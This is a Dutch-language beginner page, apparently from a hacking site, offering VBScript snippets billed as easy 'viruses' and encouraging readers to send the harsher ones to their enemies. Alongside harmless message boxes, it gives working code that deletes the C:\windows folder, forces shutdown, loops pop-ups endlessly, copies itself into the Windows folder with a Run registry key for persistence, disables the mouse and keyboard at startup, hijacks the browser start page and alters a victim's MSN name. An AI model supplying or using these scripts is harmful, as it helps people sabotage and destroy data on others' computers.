hoi de maffia hackt ook soms om aan belangrijke informatie te komen hiet komen een paar beginner scripts.
Met Visual Basic scripts is het heel makelijk om een virus te maken, hiermee is ooit ook het bekende ''I love you virus'' gemaakt.
1. Open kladblok
2. Stop er wat onderstaande scripts in
3. Sla het op als .vbs en dus niet als .vbs.txt maar .vbs!
4. En open het, of als hij te erg is stuur hem door naar je vijanden!
Uitleg is recht gedrukt, script is scheefgedrukt
Hieronder enkele scripts:
* Een Bericht maken:
msgbox "Hej klootzak"
* Een Bericht maken met je eigen Titel
X = msgbox ("Hej klootzak", 1024, "h4ck.nl zegt: ")
* Eeen andere input:
strPtn = InputBox("SOM 2x4=...")
If (strptn) = 8 Then: msgbox "Dat is het goede antwoord"
do
If (strPtn) <>8 Then: strPtn = InputBox("SOM 2x4=...")
loop
msgbox "test test"
* Een "Inputbox" maken
a=inputbox("Wat is je naam?")
msgbox "Tering wat een naam zeg," +a
* Site als startpagina
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
http://www.h4ck.nl
* "System Beep"
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
* CD/DVD speler openen:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(i).Eject
* Cdrom open en dicht:
Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing
* Een Folder verwijderen:
' delete
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\windows")
aFolder.Delete
* Een Folder aanmaken:
path = "C:\linux"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
* Een Folder/Bestand openen:
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("C:\Windows")
* Een Registerwaarde aanmaken/wijzigen:
(deze zorgt voor het sneller openen van Menu's in Start)
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "55"
* Een programma openen:
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
* Tekst versturen naar willekeurige applicatie:
WScript.Sleep 400
WshShell.SendKeys " Je tekst "
Windows Script laten slapen:
WScript.Sleep 800
( een korte pauze, de waarde 800 kan je veranderen)
* Windows laten afsluiten:
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
* Iets herhalen:
do
msgbox "Hallo!"
loop
msgbox"Tekstinhetscherm", optioneleschermsoortenknopsoorthier, "Titelscherm"
Schermsoorten:
vbCritical
vbInformation
vbExclamation
e.a.
Knopsoorten:
vbOKOnly
vbYesNo
vbAbortIgnoreRetry
e.a.
* Wordpad openen en text typen
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 100
WshShell.SendKeys "tekst"
om enter te doen moet je {enter} typen
* Naam van internet-explorer veranderen
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Aangeboden door ArmeStakkers.nl"
* In opstart volgorde van windows zetten
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "je filenaam"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "je filenaam"
* Dit veranderd de pc naam
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "De naam hier"
* Muis uitschakelen
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
* Toetsenbord uitschakelen
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"
* Msn naam veranderen van slachtoffer
Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
End Sub
Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 0.5
SendKeys " Hier plaats je je tekst"
Pause 0.5
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
End Sub
Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub
al deze scripts doen het probeer maar
